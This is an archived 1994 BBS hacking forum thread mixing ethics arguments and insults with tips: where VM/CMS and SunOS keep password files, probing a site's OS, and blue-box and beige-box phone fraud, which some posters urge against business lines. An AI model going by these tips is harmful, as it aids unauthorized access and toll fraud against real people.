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From cosmos@yabbs Sun Feb 13 15:26:17 1994
|
|
From: cosmos@yabbs
|
|
To: Gnarr@yabbs
|
|
Subject: re: hacking...
|
|
Date: Sun Feb 13 15:26:17 1994
|
|
|
|
Okay, seeing as I really did not think your shitty little request deserved
|
|
a reply before, I will make a brief one now.
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|
Hacking is NOT, I repeat NOT a revenge tool or how do I crash someones
|
|
system. Hacking is an art form. It is exploration, finding a new method
|
|
to obtain something, using an unconventional means to obtain your goal.
|
|
Hacking NEVER invovles trashing a system or revenge. If that is what you
|
|
think it is then go join the rest of the media bandwagon and
|
|
cybershitheads who don't have the slightest goddamn clue.
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|
|
Cosmos
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From CB@yabbs Sun Feb 13 15:47:37 1994
|
|
From: CB@yabbs
|
|
To: Jeremiah@yabbs
|
|
Subject: re: ansi bombs wanted
|
|
Date: Sun Feb 13 15:47:37 1994
|
|
|
|
It is pretty easy. I am assuming that you are on a UNIX system. If you
|
|
are it will be a sinch. If you are on any other platform, and whould
|
|
similar to what I describe although probably not identical. There is a
|
|
program that converts 8 bit data to 7 bit data. I am not sure about the
|
|
techincal shit behind it. But you take a file such as fiffft.
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|
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|
uuencode fifft
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|
|
|
I am pretty sure this is how it works. I am a trial and error guy. If it
|
|
doesn't work the first time, I try something different. If I get skitzed
|
|
out then I just use the man uuencode command (once again if you are on
|
|
unix). This will tell you how to do it. Depending on what mail program
|
|
you use the next part is easy. Once you have the file that is encoded,
|
|
say you are using the mail program do this:
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|
mail erstaz@axposf.pa.dec.com < [uuencoded filename]
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|
|
This mails me the file. If you use pine, then you can just attach the
|
|
file (without encodeing it), or at least I think you can. Anyway give it
|
|
a try. If you screw it up, then we will give it another try. The world
|
|
is not gonna end.
|
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|
|
Brinx
|
|
thanks.
|
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|
|
From CB@yabbs Sun Feb 13 15:51:52 1994
|
|
From: CB@yabbs
|
|
To: Jeremiah@yabbs
|
|
Subject: re: Information
|
|
Date: Sun Feb 13 15:51:52 1994
|
|
|
|
What sort of info are you looking for. I have apretty good collection of
|
|
texts on assorted things from bombmaking to pheaking, hacking and some
|
|
other shit to. Lemme know what you are into. Gimme an address, and I
|
|
will do what I can to send you some stuff. Other wise aracgoni spoke good
|
|
words, ftp.eff.org. Good site. Try phrack, nas and others. If you are
|
|
evern in a good bookstore look for hard copy of 2600. 4$/issue I think.
|
|
pretty good stuff too.
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|
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|
Lottsa luck
|
|
brinx
|
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|
|
From Xela@yabbs Sun Feb 13 16:16:22 1994
|
|
From: Xela@yabbs
|
|
To: CB@yabbs
|
|
Subject: re: Information
|
|
Date: Sun Feb 13 16:16:22 1994
|
|
|
|
ftp.eff.org no longer carries phrack due to the amount of traffic it
|
|
receives. my earlier post carries an ftp address (umich, i think) which
|
|
has phrack.
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|
|
more luck to ya
|
|
-alex
|
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From Gnarr@yabbs Sun Feb 13 16:42:37 1994
|
|
From: Gnarr@yabbs
|
|
To: Cosmos@yabbs
|
|
Subject: re yeah okay
|
|
Date: Sun Feb 13 16:42:37 1994
|
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|
|
WELL Cosmos, EXCUSE THE FUCK OUT OF ME!
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From Madcap@yabbs Sun Feb 13 17:08:33 1994
|
|
From: Madcap@yabbs
|
|
To: all@yabbs
|
|
Subject: re: re yeah okay
|
|
Date: Sun Feb 13 17:08:33 1994
|
|
|
|
try ftp.netsys.com they usually have interesting shit including phrack
|
|
|
|
Cosmos: looks like your the only one that remembers what hacking
|
|
is really all about, not that i'm insulting anyone else here but it seems
|
|
like all you hear about anymore is sys crashing.
|
|
|
|
From binkley@yabbs Sun Feb 13 18:37:25 1994
|
|
From: binkley@yabbs
|
|
To: all@yabbs
|
|
Subject: Vax/VMS
|
|
Date: Sun Feb 13 18:37:25 1994
|
|
|
|
OK, I have an account on a VAX running VMS/CMS yada yada yada... Well the
|
|
other day I was playing around with some of the commands like LInk, and
|
|
ACC and define ect.. and then I did a download to get some stuff from my
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minidisk... well, instead of saying kermit send *.zip I said *.* and I
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went to bed. I woke up the next morning to find about 10 Megs of VMS
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software, all the different file for it... So......
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My question is... Does anybody know the name of the file which contains
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account, and password information?? Cosmos, you must know!
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From cosmos@yabbs Mon Feb 14 05:24:21 1994
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From: cosmos@yabbs
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To: Gnarr@yabbs
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Subject: re: re yeah okay
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Date: Mon Feb 14 05:24:21 1994
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You still do not get it do you? Come back after you have hit puberty.
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Cosmos
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From cosmos@yabbs Mon Feb 14 05:30:45 1994
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From: cosmos@yabbs
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To: binkley@yabbs
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Subject: re: Vax/VMS
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Date: Mon Feb 14 05:30:45 1994
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You confused me here...VMS/CMS???? A vax would run VMS yes, but maybe I
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am out of touch but I doubt it runs VMS/CMS...I doubt that OS even exists!
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Do you mean IBM's VM/CMS?? That is what I think you mean, especially with
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talk of minidisks and such. If so, forget it. That info is stored on a
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read only minidisk, you may be able to read it(I doubt it) but you will
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never be able to write anything to it.
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VM/CMS is worthless IMHO, I used it for a bit and hated every second of
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it. Really nothing to do with it unless you love mainframes. As for VMS,
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don't mess with that much but can find out for you. Tell me the exact
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version and exact OS.
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The only fun thing VM/CMS had(and I think it was fixed) was one annoying
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"security" feature where if you tried to login incorrectly as someone more
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than three times it shut their account down.
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There was pandemonium at our uni after the Computer Sci geeks got hold of
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that info...;)
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Cosmos
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From Nomad@yabbs Mon Feb 14 09:22:31 1994
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From: Nomad@yabbs
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To: all@yabbs
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Subject: f1L3z
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Date: Mon Feb 14 09:22:31 1994
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I must say that I so terribly tired of seeing all these newbies asking
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where that can get hacking files. I have read *countless* files and I have
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learned very little from them. If you guys really want to learn how to
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hack then you should first familarize yourself with the type(s) of systems
|
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you wish to hack? If you want to hack a certain system type (i.e. unix)
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then you should follow the following procedures:
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a) Get some information. (libraries, bookstores, etc)
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b) Get access. Everyone here appears to have access to the Internet. How
|
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are you getting it? School? Pay account? Hacking?
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c) Find someone knowledgeable. I know many unix users who have *never*
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hacked but yet they know enough to do it quite successfully. So you do
|
|
not need to know other hackers to learn how to hack. I learned from
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very little. I think I figured the shit out ok.
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d) Do not call too many bbs systems. This will get you into a habit of
|
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learning little trivial shit.
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e) Study the references you have. After you learn how the system works
|
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then get in contact with others. Find someone local. Shit I dunno. If
|
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anyone here actually sent me mail about a problem they had doing
|
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something or trying to figure out something I would help. If I got
|
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mail from some dweeb asking if I new any bugs for IRIX I wouldn't waste
|
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my time replying..
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Do not sit back and expect the people who know the shit to just say 'here'
|
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and just give you everything you need to know. I worked my ass off to
|
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learn what I know and I am not about to give somebody help if they just
|
|
want to go netsurfing to see how many systems they can crack in a week.
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The shit just does not work that way and it appears to me that alot of ppl
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think that it does.
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Crack a book.
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Read it.
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If you do not understand something then ask. I'm sure you will get bagged
|
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on or ignored asking about the newest NFS bug. I'd rip anyone who bagged
|
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on you for asking a question about something as simple as the format of
|
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utmp because that involves thinking, C programming, etc.
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Well my little lecture has come to an end. I could go on and on about
|
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hacking pursuits just like my dad does about the army. But would you
|
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listen?
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I doubt it.
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Nomad
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From panzer@yabbs Mon Feb 14 11:34:36 1994
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From: panzer@yabbs
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To: all@yabbs
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Subject: re: Hacking...
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Date: Mon Feb 14 11:34:36 1994
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Hacking is:
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Kicking a little bean bag around with your feet...
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Breaking into systems and crashing/trashing them...
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Cutting things apart with large blades...
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Doing ANYTHING in a way that is non-standard, but gets the job done.
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Coughing your guts out and spewing vomit on people...
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Breaking into systems and gaining knowledge and access...
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Hacking is many things to many people. It is also something that everyone
|
|
has a different opinion about. Get a clue, and don't run endless
|
|
conversations about "what hacking is". This is about as pointless as
|
|
asking everyone what Cyberpunk is?
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|
|
If people ask questions, maybe someone will answer them. Maybe they
|
|
won't. Personally, it's more fun for me to run a complete unix system
|
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with 24 hour net access from my house. I am not associated with any
|
|
university. I have learned many things in setting this sustem up, and in
|
|
turn this is helping me find jobs that pay more than any type of hacking I
|
|
can do. And both options gain me network knowledge that I enjoy.
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-Panzer
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From Fastjack@yabbs Mon Feb 14 12:45:15 1994
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From: Fastjack@yabbs
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To: all@yabbs
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Subject: Background info
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Date: Mon Feb 14 12:45:15 1994
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|
Helo...
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Just wanted to know if anyone has any info on the 'wiz' backdoor.
|
|
YES, I know that if it ever existed, it DOES NOT anymore.
|
|
I just wanted a little bit of background and history, and it's
|
|
tough finding a good reference to an obsolete backdoor. Just that
|
|
innate sense of curiousity that causes some of us to figure this
|
|
shit out....
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fastjack
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From cosmos@yabbs Mon Feb 14 13:19:26 1994
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From: cosmos@yabbs
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To: Nomad@yabbs
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Subject: re: f1L3z
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Date: Mon Feb 14 13:19:26 1994
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I hear you.
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Cosmos
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From Gnarr@yabbs Mon Feb 14 16:34:17 1994
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From: Gnarr@yabbs
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To: all@yabbs
|
|
Subject: okay..
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Date: Mon Feb 14 16:34:17 1994
|
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To nomad. At least I can thank you for being nice about it and not being
|
|
so blunt and shitty like cosmos. your long lecture(athough boring) was
|
|
informative. Thanks
|
|
p.s. I can understand why you feel teh way you do.
|
|
To COSMOS. Just who do you think you are? I didn't want to learn to hack
|
|
just to go crash places and fuck tehm up. you didn't have to be such a
|
|
fuckhead and arrogant about your response. Go rot in hell you little shit.
|
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From feotus@yabbs Mon Feb 14 17:21:30 1994
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From: feotus@yabbs
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To: Gnarr@yabbs
|
|
Subject: re: okay..
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Date: Mon Feb 14 17:21:30 1994
|
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|
Im not really into flaming or nothing, but Gnarr, go buy a clue, take two
|
|
there small.
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|
|
as if anyone would give you information to crash a muse. That's someone
|
|
elses work, there art piece, ther programming, there child etc...
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|
dont mess with that shit cause of a few things also
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|
|
|
1. If you dont know anyting now there is no way in hell that youl be able
|
|
to crack a system o crash it wuthout getting caught, no matter what they
|
|
tell ya.
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|
2. you dont sound like someoneith the mentality to learn this stuff since
|
|
you are way to quick to go ballistic and hit the roof over petty things.
|
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|
oh well, my version of hacking, well screw it why should I waste bandwidth
|
|
trying to tell it to ya.
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From cosmos@yabbs Mon Feb 14 18:54:36 1994
|
|
From: cosmos@yabbs
|
|
To: Gnarr@yabbs
|
|
Subject: re: okay..
|
|
Date: Mon Feb 14 18:54:36 1994
|
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|
|
You are pathetic, period. As for my arrogance, it is earned kiddie. This
|
|
is #hack not #crash, your stupidity and lameness have no business here.
|
|
Go back to your AMIGA and jerk off dicksmack.
|
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|
|
Cosmos
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|
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From binkley@yabbs Tue Feb 15 00:45:03 1994
|
|
From: binkley@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Vax/VMS
|
|
Date: Tue Feb 15 00:45:03 1994
|
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|
|
I tried loggin in myself twice, it would let me.. I believe you are right
|
|
VM/CMS BUt what is the file name?? It sure is a non-user friendly shit
|
|
ass os, but I'm gettin' the hang of it pretty good..
|
|
OQ
|
|
binkley
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|
From cosmos@yabbs Tue Feb 15 05:23:27 1994
|
|
From: cosmos@yabbs
|
|
To: binkley@yabbs
|
|
Subject: re: Vax/VMS
|
|
Date: Tue Feb 15 05:23:27 1994
|
|
|
|
I still dont know what you want to do with VM/CMS, here is a good clue, do
|
|
you hasve to use PFKEYS like PF1 and so on for tasks...then it is
|
|
definately VM/CMS. ANyways, the password stuff should be under dirmaint.
|
|
|
|
Cosmos
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|
|
From Pakratt@yabbs Tue Feb 15 11:18:34 1994
|
|
From: Pakratt@yabbs
|
|
To: Fastjack@yabbs
|
|
Subject: Re: Toneloc
|
|
Date: Tue Feb 15 11:18:34 1994
|
|
|
|
>>>>>[ Could you possibly tell me where to look for Tonloc on the net or
|
|
maybe give me something to look for using Archie?
|
|
|
|
Thanx, Pakratt ]<<<<<
|
|
|
|
From CB@yabbs Tue Feb 15 21:19:19 1994
|
|
From: CB@yabbs
|
|
To: Xela@yabbs
|
|
Subject: Phrack
|
|
Date: Tue Feb 15 21:19:19 1994
|
|
|
|
Shit, I knew that. I don't know what I was thinking when I posted that.
|
|
If I am not mistaken there is a list of other sites that carry it there.
|
|
Also wuarchive carries much shit. I don't know the proper address for
|
|
it. Anyone know?
|
|
|
|
Brinx (feelin just a little small than usual today)
|
|
|
|
From CB@yabbs Tue Feb 15 21:33:06 1994
|
|
From: CB@yabbs
|
|
To: CB@yabbs
|
|
Subject: Flame
|
|
Date: Tue Feb 15 21:33:06 1994
|
|
|
|
|
|
I think that an anti flame device would be useful in these parts.
|
|
|
|
Brinx
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From binkley@yabbs Wed Feb 16 01:23:50 1994
|
|
From: binkley@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Vax/VMS
|
|
Date: Wed Feb 16 01:23:50 1994
|
|
|
|
Yep, PFKEYS yada yada yada... Dirmaint.??? dirmaint.*?!
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|
|
From ytrew@yabbs Wed Feb 16 03:22:58 1994
|
|
From: ytrew@yabbs
|
|
To: all@yabbs
|
|
Subject: Binghampton
|
|
Date: Wed Feb 16 03:22:58 1994
|
|
|
|
Hmmmmm does anyone know about the C2 sec. running there? Whats up w/
|
|
that..... hmm BUT they are running it on Suns.. tell me what ya think?
|
|
One more thing.. if your from Penn.. near Pitt I'm curious about how
|
|
HS in the area access then net... I need to contact one of my friends
|
|
who lives there and knows that some area Hs have access to the net..
|
|
|
|
Thank Phreaks =)
|
|
|
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|
|
From cosmos@yabbs Wed Feb 16 05:25:41 1994
|
|
From: cosmos@yabbs
|
|
To: binkley@yabbs
|
|
Subject: re: Vax/VMS
|
|
Date: Wed Feb 16 05:25:41 1994
|
|
|
|
Heh, VM/CMS alright. Get off it while you can. Passwords are plaintext
|
|
unless IBM got smart recently. Still, if you poke enough you can mount
|
|
many system minidisks from your little account. Why you would want to do
|
|
this is beyond me though!
|
|
|
|
Dirmaint is where you will find them if it is still the same. Been over a
|
|
year since I have touched a VM system.
|
|
|
|
Cosmos
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|
|
|
From JasonLee@yabbs Wed Feb 16 15:21:05 1994
|
|
From: JasonLee@yabbs
|
|
To: arachnoi@yabbs
|
|
Subject: re: wuarchive
|
|
Date: Wed Feb 16 15:21:05 1994
|
|
|
|
What are you talking about?
|
|
|
|
JasonLee
|
|
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|
From Pakratt@yabbs Wed Feb 16 15:25:22 1994
|
|
From: Pakratt@yabbs
|
|
To: arachnoi@yabbs
|
|
Subject: re: Re: Toneloc
|
|
Date: Wed Feb 16 15:25:22 1994
|
|
|
|
Thanx arachnoi. |8-]
|
|
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From skippy@yabbs Wed Feb 16 15:40:31 1994
|
|
From: skippy@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Vax/VMS
|
|
Date: Wed Feb 16 15:40:31 1994
|
|
|
|
|
|
|
|
|
|
nope.... that bug... where the account freezes if you incorrectly login
|
|
3 tiimes is still there...
|
|
|
|
i work at IBM and have had that happen to me a few times... me
|
|
trying to type too fast ya know... :)
|
|
|
|
|
|
it might be that our system people just set it up that way...
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|
|
|
|
|
i dunno...
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|
|
|
--skip
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From tknight@yabbs Wed Feb 16 18:06:15 1994
|
|
From: tknight@yabbs
|
|
To: all@yabbs
|
|
Subject: cut the shit.
|
|
Date: Wed Feb 16 18:06:15 1994
|
|
|
|
Ok,I'm with Nomad and Cosmos on this issue,you're probably not going to
|
|
learn shit from some file you ftp. Believe it or not I learned some of my
|
|
best information straaight from the damn manuals(for instance call your
|
|
local dec dealer,they'll send you just about anything you ask them for).
|
|
But hacking is not for revenge,it is for the exploration of digital
|
|
frontiers(oh shit,i'm starting to sound like an issue of wired)and not for
|
|
system crashing.
|
|
Do realize if I wiped out every hard drive i had accesses to in my area i
|
|
would just be fucking my self over(besides the poor guy y that cant find
|
|
his thesis pape in his home directory). For example i've had access to a
|
|
local AIX system in my area for about 3 months,I have super user and all
|
|
and could wipe them out if i was a stupid lamer,but instead i do what
|
|
hackers originally starting out did. I LEAR. Thats right i pull out my
|
|
unix manuals and teach my self to program in shell,c and lisp. Why? you
|
|
ask. If you have to ask you dont understand the hacker ethic,and no matter
|
|
how many textfiles you read and how elite you think you are, you will
|
|
never understand why either.
|
|
|
|
OK,that was my little rant,OOps,I meant I LEARN ^ there. If you didnt
|
|
like this thats your opinion,you can rebut me but flaming me will just
|
|
make your self look stupid. Arguments are valid,flames are not.
|
|
|
|
Alright VM/CMS is probably the worst OS i have seen in a while. I like the
|
|
minidisks idea but i think Alpha Micro did a better job with AMOS. I'll
|
|
dig up which minidisk exactly its stored in but you usually cant access it
|
|
, in a past phrackthere was an article with evry IBM factory default for
|
|
VM/CMS machines. All the article does is give you logons,so even if you do
|
|
get in you wont know shit(unless,you RTFM)
|
|
|
|
Ok,I am no where near god like hacker status but i have been experimenting
|
|
with system 75 lately( i mean i've set up pbxs and the sort) but i would
|
|
be very intrested in talking about setting up a bridge with syetm 75 with
|
|
some one.
|
|
Tobias Knight
|
|
Cant wait to see the byte size on this one.
|
|
|
|
From binkley@yabbs Wed Feb 16 23:40:34 1994
|
|
From: binkley@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Vax/VMS
|
|
Date: Wed Feb 16 23:40:34 1994
|
|
|
|
Ahh yes... I want the Exact filename for the password/account file
|
|
Anybody else know?!?!?!
|
|
|
|
From uufnord@yabbs Thu Feb 17 03:43:52 1994
|
|
From: uufnord@yabbs
|
|
To: all@yabbs
|
|
Subject: hackin girlies
|
|
Date: Thu Feb 17 03:43:52 1994
|
|
|
|
There's this chic I know and she's runnin' BABE 2.0 for Windows, and I
|
|
REALLY wanna start messin' with he interface devices, ya know? But, I
|
|
think I need a shell script to get root, man, I need to get root, I'm
|
|
gonna have a spasm if I don't, need root, root root.
|
|
|
|
Ohhhh.. that feels much better now.
|
|
|
|
From Thorwak@yabbs Thu Feb 17 17:00:46 1994
|
|
From: Thorwak@yabbs
|
|
To: all@yabbs
|
|
Subject: finger script
|
|
Date: Thu Feb 17 17:00:46 1994
|
|
|
|
I made this script that contained about 100 lines in the format
|
|
finger <name> >> <filename>
|
|
and ran it in the background. Then I DL'd the file, only to discover
|
|
that several login names occured at 5-6 times in the output file.
|
|
I'm 100% sure that there was no user with more than one "finger entry" in
|
|
the script, so I really don't understand why this happened... Anyone got
|
|
any ideas?
|
|
|
|
(If this post is confusing it's cause I'm swedish, and don't knoe english
|
|
100%...)
|
|
|
|
Thorwak
|
|
|
|
From sevmek@yabbs Thu Feb 17 18:36:54 1994
|
|
From: sevmek@yabbs
|
|
To: arachnoi@yabbs
|
|
Subject: re: wuarchive
|
|
Date: Thu Feb 17 18:36:54 1994
|
|
|
|
wuarchive had a Very Bad disk crash recently due to an operating system bug,
|
|
that got all their data and most of their backups. They're restoring from
|
|
mirror sights and new uploads, but for now wuarchive isn't what it used to be,
|
|
and is overloaded with the reloading process.
|
|
|
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|
|
From Fastjack@yabbs Thu Feb 17 18:41:34 1994
|
|
From: Fastjack@yabbs
|
|
To: ytrew@yabbs
|
|
Subject: re: Binghampton
|
|
Date: Thu Feb 17 18:41:34 1994
|
|
|
|
Yo...
|
|
Before ya start askin questions about the security, ya
|
|
gotta figure out whether there runnin SunOS 4.1.3 [BSD based]
|
|
or 5.x [AT&T SVR4 based]. Under 4.1.3, passwds are in
|
|
|
|
which you can't read. No one is allowed to log in as root,
|
|
only su to it. Auditing is enabled; options vary. That's
|
|
basically it....in 5.x, passwds are in /etc/shadow like
|
|
Sys V. There are a hell of a lot of PD things they could be
|
|
running which would make it a lot tougher, like
|
|
tcpwrappers, logging daemons, modified sendmail, ...
|
|
I'm not familiar with that site; telnet there or try the
|
|
SMTP port to figure the OS rev. number...
|
|
|
|
FJ
|
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|
|
From Crusader@yabbs Thu Feb 17 22:16:32 1994
|
|
From: Crusader@yabbs
|
|
To: all@yabbs
|
|
Subject: C
|
|
Date: Thu Feb 17 22:16:32 1994
|
|
|
|
I'm curious, & this seems like as good a place as any. Where can I get
|
|
a Txt on programming in C, I have a Macintosh & a free compiler so why not
|
|
Thanx, I really aprecciate this (If anyone responds) I would prefer one
|
|
with mac specific examples if it's at all possible.
|
|
Oh yeah, as if you all care, Go Cosmos! Please don't allow people just
|
|
looking for cheap knowledge on how to make phree calls get away with
|
|
deystroying an artform.
|
|
|
|
Crusader
|
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|
From binkley@yabbs Fri Feb 18 00:53:33 1994
|
|
From: binkley@yabbs
|
|
To: Crusader@yabbs
|
|
Subject: all
|
|
Date: Fri Feb 18 00:53:33 1994
|
|
|
|
BBS
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Anybody know where I moight pick up a copy of a good BBS program?? I'd
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really like to get LSD, or celerity, or even aftershok. Anybody help[ me?
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From cosmos@yabbs Fri Feb 18 05:51:55 1994
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From: cosmos@yabbs
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To: uufnord@yabbs
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Subject: re: hackin girlies
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Date: Fri Feb 18 05:51:55 1994
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Where do these fucking retards come from??
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Cosmos
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From ducky@yabbs Fri Feb 18 11:08:40 1994
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From: ducky@yabbs
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To: Thorwak@yabbs
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Subject: re: finger script
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Date: Fri Feb 18 11:08:40 1994
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In message finger script, Thorwak said:
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> I made this script that contained about 100 lines in the format
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> finger <name> >> <filename>
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> and ran it in the background. Then I DL'd the file, only to discover
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> that several login names occured at 5-6 times in the output file.
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> I'm 100% sure that there was no user with more than one "finger entry" in
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> the script, so I really don't understand why this happened... Anyone got
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> any ideas?
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Some versions of finger return a full listing for a person for every tty that
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they are logged in on. So, if a person was logged in a bunch of times (say
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using screen or X), you'd get the full spew about them for each tty.
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This is kinda braindead, and most modern fingers just list a single line for
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each tty a person is on in a single entry for them.
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-k
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From Palisade@yabbs Fri Feb 18 11:40:10 1994
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From: Palisade@yabbs
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To: all@yabbs
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Subject: newbie
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Date: Fri Feb 18 11:40:10 1994
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Uhh...I'm kinda new here. I am just learning how to hack and I don't szeem
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to be able to find very much information. Does anyone know where I could
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find any?
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From McArthy@yabbs Fri Feb 18 14:53:24 1994
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From: McArthy@yabbs
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To: binkley@yabbs
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Subject: re: all
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Date: Fri Feb 18 14:53:24 1994
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Aftershock... Hm, that's a bbs soft that I haven't heard about in a long
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time. It was fairly popular in 602 for a while, (until all the sysops
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started warring with each other). I cant point you to anywhere on the net
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to get it, and most of the 602 boards stopped supporting it, but if I see
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it lying around local somewhere I'll put it on ftp somewhere.
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From McArthy@yabbs Fri Feb 18 14:58:55 1994
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From: McArthy@yabbs
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To: Palisade@yabbs
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Subject: re: newbie
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Date: Fri Feb 18 14:58:55 1994
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The best way to find information is to read, do, and be patient. There's
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no secret textfile of hacker knowlege... This isnt some sort of RPG...
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Basically go through the messages and look at the questions... Think about
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the questions... Think about why anyone would want to do what they are
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asking about...(message 806 for example ) [B[B
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Explore everything and take notes.... Familiarize yourself with the net,
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and love doing it. Don't be demanding tangible results everyday. After
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doing this for a while, one day youll stop to think, and realize you've
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achieved what you've wanted.
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From NJDEVIL@yabbs Fri Feb 18 18:06:48 1994
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From: NJDEVIL@yabbs
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To: arachnoi@yabbs
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Subject: re: Trojan horse
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Date: Fri Feb 18 18:06:48 1994
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Thanx
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NJD
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From NJDEVIL@yabbs Fri Feb 18 18:15:33 1994
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From: NJDEVIL@yabbs
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To: arachnoi@yabbs
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Subject: re: wuarchive
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Date: Fri Feb 18 18:15:33 1994
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I agree, am non-hack, but get tons of good stuff there.
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From Fastjack@yabbs Fri Feb 18 18:33:55 1994
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From: Fastjack@yabbs
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To: ytrew@yabbs
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Subject: re: Binghampton
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Date: Fri Feb 18 18:33:55 1994
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Just noticed that part of that last message was missing...
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should be /etc/security/passwd.adjunct.
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The editor cutt out because it started
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with a slash....
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From Thorwak@yabbs Fri Feb 18 21:15:21 1994
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From: Thorwak@yabbs
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To: ducky@yabbs
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Subject: re: finger script
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Date: Fri Feb 18 21:15:21 1994
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I see.. This was not the case here, tho... First of all, none of them
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where logged on, and second, there were others users BETWEEN thos entries
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that repeated themselves... Real strange
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Thorwak
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From statix@yabbs Sat Feb 19 10:33:31 1994
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From: statix@yabbs
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To: Thorwak@yabbs
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Subject: re: finger script
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Date: Sat Feb 19 10:33:31 1994
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Thorwak: a lot depends on how your version of finger parses the names
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when it does comparisons against passwd entries, such as if you said:
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finger fred3027
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finger dan
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It would turn up fred3027 (a username match) and possibly all people who's
|
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first or last names began with fred, and then fingering on dan would turn
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up a hit on a username of dan, or any first or last names beginning with
|
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dan, so with these two finger you could possibly get results such as:
|
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username: fred3027 In real life: Dan Frederick
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username: hath2876 In real life: Fred Hathenberg
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**** results from finger fred3027 ***
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username: fred3027 In real life: Dan Frederick
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username: dan In real life: Theo Dan
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username: litg4567 In real life: Danielle Litgo
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If you want to just check on a specific username, most fingers support a
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-m option to force username only matches, you may want to give that a try.
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-statix
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From Thorwak@yabbs Sat Feb 19 12:03:32 1994
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From: Thorwak@yabbs
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To: statix@yabbs
|
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Subject: re: finger script
|
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Date: Sat Feb 19 12:03:32 1994
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Ok, I guess it was something like this that happened... I will try the -m
|
|
option and get back to you (if you're interested...) Thanx for your help!
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Thorwak
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From amadeus@yabbs Sat Feb 19 12:21:05 1994
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From: amadeus@yabbs
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To: Phain@yabbs
|
|
Subject: re: Pirate Radio?
|
|
Date: Sat Feb 19 12:21:05 1994
|
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|
|
> On de FCC laws, is it either 5 mile radius, or 3 hours ? Could I
|
|
> broadcast for 8 hours with a one mile radius and the fedz not care?
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don't do 8 hours man.....they'll shit. go for about 2 or 3 a week....that
|
|
would keep you out of trouble
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From Justin@yabbs Sat Feb 19 15:45:49 1994
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|
From: Justin@yabbs
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|
To: all@yabbs
|
|
Subject: boxes
|
|
Date: Sat Feb 19 15:45:49 1994
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|
Ok..Here's my question...
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|
I've been diligently reading books on UNIX, and following the messages
|
|
on this conference. I'm begining to learn the basis to unix, and how the
|
|
internet operates. However, there is still one facet that I'm having
|
|
trouble understanding. The "boxes." I've read about the redboxes, but I
|
|
have a much greater interest than just finding quarter-tones. I've heard
|
|
of a bluebox and beigebox, but haven'y been able to find any information
|
|
on them. Would someone either be willing to shed a little light on this
|
|
for me, or at least tell me where it is that I should start looking?
|
|
Any help would be greatly appericiated. -Justin
|
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From cosmos@yabbs Sat Feb 19 17:18:50 1994
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|
From: cosmos@yabbs
|
|
To: Justin@yabbs
|
|
Subject: re: boxes
|
|
Date: Sat Feb 19 17:18:50 1994
|
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|
|
All I have to say is that I wouldnt suggest trying to bluebox theses days.
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Cosmos
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From Schief@yabbs Sat Feb 19 19:10:02 1994
|
|
From: Schief@yabbs
|
|
To: McArthy@yabbs
|
|
Subject: re: all
|
|
Date: Sat Feb 19 19:10:02 1994
|
|
|
|
Ah...602 land....I remember the days of all the 3lyt3 d00ds who were a
|
|
local call away, running their WaReZ b0ardzz on Aftershock....
|
|
|
|
From Fastjack@yabbs Sat Feb 19 22:51:33 1994
|
|
From: Fastjack@yabbs
|
|
To: Justin@yabbs
|
|
Subject: re: boxes
|
|
Date: Sat Feb 19 22:51:33 1994
|
|
|
|
Read alt.2600.
|
|
|
|
Anything you don't understand you can get from philes....
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|
|
|
FJ
|
|
|
|
From Angstrom@yabbs Sun Feb 20 20:59:15 1994
|
|
From: Angstrom@yabbs
|
|
To: Justin@yabbs
|
|
Subject: re: boxes
|
|
Date: Sun Feb 20 20:59:15 1994
|
|
|
|
|
|
...Basically the Blue Box emits a 2600hz tone (hence the zine 2600)
|
|
causing the line to go dead and giving you the power of an operator,
|
|
though nowadays telco monitors for that tone. There have been suggestions
|
|
of mixing pink noise with the original signal 3000, but it does not work.
|
|
The only way you can use a blue box today is use it where a line man has
|
|
just installed a new line or tested one cause that tone is still used for
|
|
testing...and that number can use a 2600 signal for about a month before
|
|
it is taken off the telco list. Beige boing is using someone elses line
|
|
through canning...and there is not musch risk as long as you only use that
|
|
line once or twice and the only person who gets screwed is "Ma Bell" as
|
|
the guy whose line you were using only has to pay $50 of the bill you rang
|
|
up...well hope this helps...
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|
|
From oderous@yabbs Sun Feb 20 21:14:26 1994
|
|
From: oderous@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: non-memory redbox
|
|
Date: Sun Feb 20 21:14:26 1994
|
|
|
|
|
|
i don't see why not - the redial dials at the same rate as a priority.
|
|
of course, i don't know if the rat shack models have re-dial buttons, but
|
|
i know it works on my ripped up phone.
|
|
|
|
From cosmos@yabbs Mon Feb 21 06:17:16 1994
|
|
From: cosmos@yabbs
|
|
To: Angstrom@yabbs
|
|
Subject: re: boxes
|
|
Date: Mon Feb 21 06:17:16 1994
|
|
|
|
Good short info. Anyways, I have to disagree with the "only MA bell gets
|
|
screwed" stuff. Sure, you run up a thousand dollar bill on a
|
|
teleconference and the poor chap has to pay 50 bucks. Shit, 50 bucks is
|
|
50 bucks. I would be PISSED if I got the short end of the shaft for some
|
|
geek high school punk who set up a telecon on my line.
|
|
|
|
Anyways, if you are gonna do it. Do it to a business line.
|
|
|
|
How about a local LD competitors lines? heheheheh
|
|
|
|
Cosmos
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|
|
|
From feotus@yabbs Mon Feb 21 08:33:58 1994
|
|
From: feotus@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: boxes
|
|
Date: Mon Feb 21 08:33:58 1994
|
|
|
|
hehee, try it from your favorite neighborhood business, like the little
|
|
processing plant down the road from me. OR, my favorite is to do it off
|
|
of some older COCOTs. I set one up that way with a policeman no more
|
|
than about fifty feet away harrasingthese kids. hehe, they were parked
|
|
wrong, and I was preparing to scam a major large bill off the telco 8).
|
|
Teleconferences are fun, but it always degenerates to a piss contest it
|
|
seems.
|
|
|
|
From cosmos@yabbs Mon Feb 21 11:23:29 1994
|
|
From: cosmos@yabbs
|
|
To: feotus@yabbs
|
|
Subject: re: boxes
|
|
Date: Mon Feb 21 11:23:29 1994
|
|
|
|
Heh, the last Telecon I was on was when Maniac and Trexor got busted for
|
|
tearing down a payphone. Sheesh. ANyways, you are right they always end
|
|
up lame.
|
|
|
|
Cosmos
|
|
|
|
From Cat@yabbs Mon Feb 21 13:55:12 1994
|
|
From: Cat@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: You were right
|
|
Date: Mon Feb 21 13:55:12 1994
|
|
|
|
Wellup, I was bored, no one was on yabbs worth chatting with, so I thout I
|
|
pop in here and read tjhis stuff Cos. And you were right! :) Quite
|
|
